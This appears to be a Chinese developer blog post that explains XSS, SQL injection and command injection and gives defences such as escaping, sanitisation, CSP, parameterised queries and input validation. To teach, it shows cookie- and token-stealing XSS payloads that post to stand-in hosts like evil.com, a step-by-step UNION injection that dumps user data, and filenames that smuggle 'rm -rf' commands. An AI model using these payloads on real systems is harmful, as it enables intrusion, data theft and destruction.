一个让我一夜没睡的工单
凌晨2点,我被钉钉消息吵醒。
运维组长发来的消息只有一句话:"兄弟,咱们的用户数据可能泄露了,你快看看后台。"
我睡意全无,立刻打开电脑。果然,日志里全是异常请求,数据库查询记录暴增了10倍。更可怕的是,有人正在批量导出用户的手机号和邮箱。
我花了整整一个通宵才找到问题根源:一个看似普通的评论功能,因为没做输入过滤,被人注入了恶意脚本。
这不是什么高级APT攻击,更不是什么0day漏洞。就是最基础的XSS和SQL注入,利用了我一个月前为了赶版本deadline而留下的"小疏忽"。
那天我明白了一个道理:大部分安全事故,不是因为技术不够强,而是因为某个瞬间,你觉得"这里应该没问题"。
今天,咱们就来深挖一下这个让无数程序员栽跟头的坑。
数据与代码的那条红线
很多人不理解为什么"用户输入"会这么危险。咱们先从本质上聊聊。
Web应用本质上就是个数据翻译机:
问题就出在这里:如果你让"数据"变成了"代码",游戏就结束了。
举个最简单的例子
假设你在开发一个评论系统,用户提交了这段文字:
<script>
fetch('https://hacker.com/steal?data=' + document.cookie)
</script>
如果你直接把这段内容渲染到页面上:
// ❌ 危险的写法
document.getElementById('comment').innerHTML = userInput;
恭喜,你刚刚给黑客开了个后门。这段脚本会在每个访问者的浏览器里执行,偷走他们的登录凭证。
攻击链路图
让我用图展示一下完整的攻击流程:
用户提交恶意脚本
↓
后端未过滤
↓
存入数据库
↓
前端直接渲染
↓
浏览器执行恶意代码
↓
Cookie被窃取
↓
黑客劫持账号
看到了吗?这条链路上,只要有一个环节做了过滤,攻击就会失败。但现实是,很多团队在每个环节都没做。
XSS:前端开发者的噩梦
XSS攻击的技术剖析
让我们看一个典型的XSS攻击场景。假设某电商网站的商品评论功能允许用户提交以下内容:
<img src=x onerror="
let token = localStorage.getItem('auth_token');
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({
token: token,
user: document.querySelector('.username').innerText
})
});
">
这段代码的危险之处在于:
为什么这么危险?
根据OWASP的数据,被窃取的Token可以:
在实际攻防中,一个成功的XSS攻击,从注入到账户被控制,平均只需要不到30秒。
XSS的三种形态
1. 存储型XSS(Stored XSS)
恶意代码被存储在服务器数据库中,每次页面加载时都会执行。这是最危险的类型。
// 典型场景:评论、留言板、个人简介
const comment = req.body.comment; // 用户输入的评论
await db.query('INSERT INTO comments (content) VALUES (?)', [comment]);
// 下次渲染时
const comments = await db.query('SELECT * FROM comments');
// ❌ 直接渲染,危险!
html += `<div>${comment.content}</div>`;
2. 反射型XSS(Reflected XSS)
恶意代码包含在URL参数中,服务器将其反射回页面。
// 典型场景:搜索功能
app.get('/search', (req, res) => {
const keyword = req.query.q;
// ❌ 直接输出到页面
res.send(`<h1>搜索结果: ${keyword}</h1>`);
});
// 攻击URL:
// /search?q=<script>alert(document.cookie)</script>
3. DOM型XSS(DOM-based XSS)
完全发生在前端,JavaScript直接操作DOM时触发。
// ❌ 危险的前端代码
const urlParams = new URLSearchParams(window.location.search);
const message = urlParams.get('msg');
document.getElementById('output').innerHTML = message;
防御方案:三道防线
第一道:转义输出
React、Vue这些现代框架默认会转义,但你得用对:
// ✅ 安全 - React自动转义
function Comment({ text }) {
return <div>{text}</div>;
}
// ❌ 危险 - 绕过了React的保护
function Comment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
原生JavaScript中,永远使用textContent而不是innerHTML:
// ✅ 安全
element.textContent = userInput;
// ❌ 危险
element.innerHTML = userInput;
第二道:HTML消毒
如果你真的需要支持富文本(比如Markdown渲染),必须用专业的消毒库:
import DOMPurify from 'dompurify';
// 白名单方式,只保留安全标签
const clean = DOMPurify.sanitize(dirtyHTML, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
ALLOWED_ATTR: ['href']
});
第三道:内容安全策略(CSP)
在HTTP响应头中设置CSP,从浏览器层面限制脚本执行:
// Express示例
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' 'nonce-random123'; style-src 'self' 'unsafe-inline'"
);
next();
});
这样,即使有XSS漏洞,恶意脚本也无法执行,因为它不在白名单内。
SQL注入:后端的定时炸弹
字节跳动面试真题改编
面试官曾经问过我这样一道题:
"如果用户在登录框输入:admin' OR '1'='1' --,会发生什么?"
我当时回答:"这是SQL注入,会绕过密码验证。"
面试官又问:"那如果用户输入:admin'; DROP TABLE users; --呢?"
我愣了一下,然后倒吸一口凉气。
是的,如果你的代码是这样写的:
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
db.query(sql);
那么用户的输入会变成:
SELECT * FROM users WHERE username='admin' OR '1'='1' -- ' AND password=''
--是SQL注释符,后面的内容全部被忽略。这个查询永远返回true,用户无需密码就能登录。
更可怕的是第二种情况:
SELECT * FROM users WHERE username='admin'; DROP TABLE users; -- ' AND password=''
你的整个users表会被直接删除。一个登录框,就能摧毁整个数据库。
SQL注入攻击全景
用户输入恶意SQL片段
↓
后端字符串拼接查询
↓
数据库执行
↓
┌─────────────────┬─────────────────┬─────────────────┐
│ 绕过身份验证 │ 窃取数据 │ 删除数据 │
│ OR '1'='1' │ UNION SELECT │ DROP TABLE │
└─────────────────┴─────────────────┴─────────────────┘
SQL注入攻击的技术演示
让我演示一个完整的SQL注入攻击链。假设某网站的后台管理系统有这样一个用户搜索功能:
-- 后台的用户搜索SQL
SELECT * FROM users WHERE phone LIKE '%{searchTerm}%'
如果searchTerm直接来自用户输入且未经过滤,攻击者可以这样操作:
第一步: 探测数据库结构
输入:
%' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database() --
执行后的完整SQL:
SELECT * FROM users WHERE phone LIKE '%%'
UNION SELECT NULL,table_name,NULL
FROM information_schema.tables
WHERE table_schema=database() -- %'
这样就能获取到所有表名:users, orders, payments等。
第二步: 获取表结构
%' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users' --
第三步: 批量导出数据
%' UNION SELECT user_id,phone,email FROM users --
整个过程可能只需要5-10分钟,而这个漏洞可能已经存在了数月甚至数年。
根据Verizon的《数据泄露调查报告》,86%的SQL注入攻击在数小时内就能完成数据窃取,但企业平均发现时间却长达197天。
防御方案:参数化查询
永远、永远、永远不要用字符串拼接构建SQL!
// ❌ 危险
const sql = `SELECT * FROM users WHERE id = ${userId}`;
db.query(sql);
// ✅ 安全 - 参数化查询
const sql = 'SELECT * FROM users WHERE id = ?';
db.query(sql, [userId]);
// ✅ 安全 - Prepared Statement
const stmt = db.prepare('SELECT * FROM users WHERE id = ?');
stmt.get(userId);
为什么参数化查询安全?因为数据库会把?位置的内容当作纯数据,而不是SQL语句的一部分。即使用户输入了'; DROP TABLE这样的内容,也只会被当作普通字符串查询。
ORM不是银弹
很多人觉得用了Sequelize或TypeORM就万无一失了。真的吗?
// ❌ ORM也有坑
const User = sequelize.define('User', {/*...*/});
// 这样写依然危险!
User.findAll({
where: sequelize.literal(`username = '${req.body.username}'`)
});
// ✅ 正确的ORM用法
User.findAll({
where: { username: req.body.username }
});
记住:ORM只是工具,不检查你怎么用。
命令注入:最致命的漏洞
相比XSS和SQL注入,命令注入的危害更直接:它能让黑客直接控制你的服务器。
命令注入的危险性
让我演示一个命令注入的技术场景。假设某图片处理服务的后端代码是这样的:
const { exec } = require('child_process');
app.post('/compress', (req, res) => {
const filename = req.body.filename;
// ❌ 直接拼接用户输入到shell命令
exec(`convert ${filename} -quality 80 output.jpg`, (err, stdout) => {
if (err) return res.status(500).send('压缩失败');
res.send('压缩成功');
});
});
攻击者构造这样的请求:
POST /compress
{
"filename": "test.jpg; rm -rf /var/www/html; "
}
实际执行的命令变成:
convert test.jpg; rm -rf /var/www/html; -quality 80 output.jpg
攻击效果:
convert test.jpg - 正常执行图片转换rm -rf /var/www/html - 删除整个网站目录
在Linux系统中,分号;可以连接多个命令顺序执行。一个看似无害的文件名参数,就能让攻击者完全控制服务器。
根据CVE数据库统计,命令注入漏洞的CVSS评分平均高达9.8分(满分10分),是危害最严重的漏洞类型之一。
命令注入的防御
1. 永远不要用exec或system执行用户输入
// ❌ 危险
exec(`ping ${userIP}`);
// ✅ 使用参数化的API
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', userIP]);
2. 严格验证输入
const validIP = /^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$/;
if (!validIP.test(userIP)) {
return res.status(400).send('无效的IP地址');
}
3. 使用白名单而非黑名单
// ❌ 黑名单 - 容易遗漏
const dangerous = ['rm', 'dd', 'mkfs'];
if (dangerous.some(cmd => userInput.includes(cmd))) {
return res.status(400).send('非法命令');
}
// ✅ 白名单 - 更安全
const allowedCommands = ['convert', 'ffmpeg', 'pngquant'];
if (!allowedCommands.includes(command)) {
return res.status(400).send('不支持的命令');
}
一个完整的防御体系
输入验证三原则
┌────────────────────────────────────────────┐
│ 输入验证三原则 │
├────────────────────────────────────────────┤
│ │
│ 1. 类型检查: 确保数据类型正确 │
│ ├─ 字符串、数字、布尔值 │
│ └─ 使用TypeScript或Zod等工具 │
│ │
│ 2. 格式验证: 确保数据格式合法 │
│ ├─ 邮箱、手机号、URL │
│ └─ 使用正则表达式或验证库 │
│ │
│ 3. 范围限制: 确保数据在安全范围内 │
│ ├─ 字符串长度限制 │
│ ├─ 数值大小限制 │
│ └─ 文件大小限制 │
│ │
└────────────────────────────────────────────┘
实战代码:构建一个安全的API
import { z } from'zod';
import DOMPurify from'dompurify';
import { JSDOM } from'jsdom';
// 创建服务端的DOMPurify实例
constwindow = new JSDOM('').window;
const purify = DOMPurify(window);
// 定义输入验证Schema
const CommentSchema = z.object({
content: z.string()
.min(1, '评论不能为空')
.max(500, '评论不能超过500字'),
userId: z.number().int().positive(),
postId: z.number().int().positive()
});
// 安全的评论发布接口
app.post('/api/comments', async (req, res) => {
try {
// 第一步:验证输入格式
const validated = CommentSchema.parse(req.body);
// 第二步:HTML消毒(如果支持富文本)
const safeContent = purify.sanitize(validated.content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
ALLOWED_ATTR: []
});
// 第三步:使用参数化查询存储
const sql = `
INSERT INTO comments (user_id, post_id, content, created_at)
VALUES (?, ?, ?, NOW())
`;
await db.query(sql, [
validated.userId,
validated.postId,
safeContent
]);
res.json({ success: true });
} catch (error) {
if (error instanceof z.ZodError) {
return res.status(400).json({
error: '输入验证失败',
details: error.errors
});
}
res.status(500).json({ error: '服务器错误' });
}
});
// 安全的评论获取接口
app.get('/api/comments/:postId', async (req, res) => {
const postId = parseInt(req.params.postId);
// 验证postId是否为有效数字
if (isNaN(postId) || postId <= 0) {
return res.status(400).json({ error: '无效的文章ID' });
}
const sql = 'SELECT * FROM comments WHERE post_id = ? ORDER BY created_at DESC';
const comments = await db.query(sql, [postId]);
res.json(comments);
});
Cookie安全配置
很多人忽略了Cookie的安全设置,这也是XSS窃取凭证的重要途径:
// ❌ 不安全的Cookie
res.cookie('auth_token', token);
// ✅ 安全的Cookie配置
res.cookie('auth_token', token, {
httpOnly: true, // 禁止JavaScript访问,防止XSS窃取
secure: true, // 只在HTTPS下传输
sameSite: 'strict', // 防止CSRF攻击
maxAge: 3600000, // 1小时后过期
signed: true // 使用签名防止篡改
});
一套可落地的安全检查清单
代码提交前的自查
## 前端安全检查
- [ ] 所有用户输入都使用了`textContent`而非`innerHTML`?
- [ ] 使用`dangerouslySetInnerHTML`的地方都经过了DOMPurify消毒?
- [ ] LocalStorage中没有存储敏感信息(如Token)?
- [ ] 所有表单都有客户端验证?
- [ ] API请求都包含了CSRF Token?
## 后端安全检查
- [ ] 所有SQL查询都使用了参数化查询或ORM?
- [ ] 没有使用字符串拼接构建SQL语句?
- [ ] 所有API端点都有输入验证?
- [ ] 敏感操作都需要二次验证?
- [ ] 错误信息不会泄露系统细节?
- [ ] 日志中没有记录密码等敏感信息?
## 服务器安全检查
- [ ] 设置了Content-Security-Policy?
- [ ] Cookie使用了httpOnly、secure、sameSite?
- [ ] 限制了上传文件的类型和大小?
- [ ] 关闭了不必要的端口和服务?
- [ ] 使用了Web应用防火墙(WAF)?
团队层面的安全文化
1. 建立Code Review机制
每次Pull Request必须检查:
- 是否使用了危险的函数(eval, exec, innerHTML)
2. 配置ESLint规则
// .eslintrc.js
module.exports = {
rules: {
'no-eval': 'error',
'no-implied-eval': 'error',
'no-new-func': 'error',
'security/detect-object-injection': 'warn',
'security/detect-non-literal-regexp': 'warn',
'security/detect-unsafe-regex': 'error'
},
plugins: ['security']
};
3. 定期安全审计
每季度使用工具扫描:
安全漏洞的真实代价
根据国家互联网应急中心(CNCERT)发布的《中国互联网网络安全报告》,2023年:
- 平均每个数据泄露事件造成的经济损失超过2000万元
命令注入的潜在风险场景
想象一个在线文件转换服务,如果后端代码是这样写的:
// 将用户上传的视频转换为MP4格式
exec(`ffmpeg -i ${uploadedFileName} output.mp4`);
攻击者只需要上传一个文件名为video.avi; rm -rf /的文件,就能:
这不是危言耸听,HackerOne平台上公开的命令注入漏洞赏金,最高达到过$10,000美元。
SQL注入的真实影响
根据OWASP Foundation的统计:
- 78%的组织在过去一年中至少遭受过一次SQL注入攻击
一个典型的SQL注入攻击流程:
第1天: 黑客发现登录页面存在SQL注入
第2天: 使用UNION查询获取数据库结构
第3天: 批量导出用户表数据
第4天: 在地下论坛出售数据
第5天: 企业收到勒索邮件
第6天: 数据泄露被媒体曝光
第7天: 股价下跌,用户流失,监管约谈
这个时间线在众多安全事件中反复上演。而防御成本?可能只是几行正确的代码。
写在最后:安全是一种习惯
回到文章开头那个凌晨2点的工单。
那次事故让我意识到:安全不是需要额外付出的成本,而是节约成本的最佳方式。
一行参数化查询的代码,可能就为你节省了上千万的赔偿。一次严格的Code Review,可能就避免了一次公关危机。
安全防护的投入产出比,远比你想象的高。
三个建议送给所有开发者
- 任何来自用户、第三方API、甚至数据库的数据,都应该被视为潜在威胁
- 配置ESLint、SonarQube等代码扫描工具
记住一句话:你永远不知道黑客会从哪个角落钻进来,但你可以确保每个门窗都上了锁。
阅读原文:原文链接
该文章在 2025/12/23 10:17:50 编辑过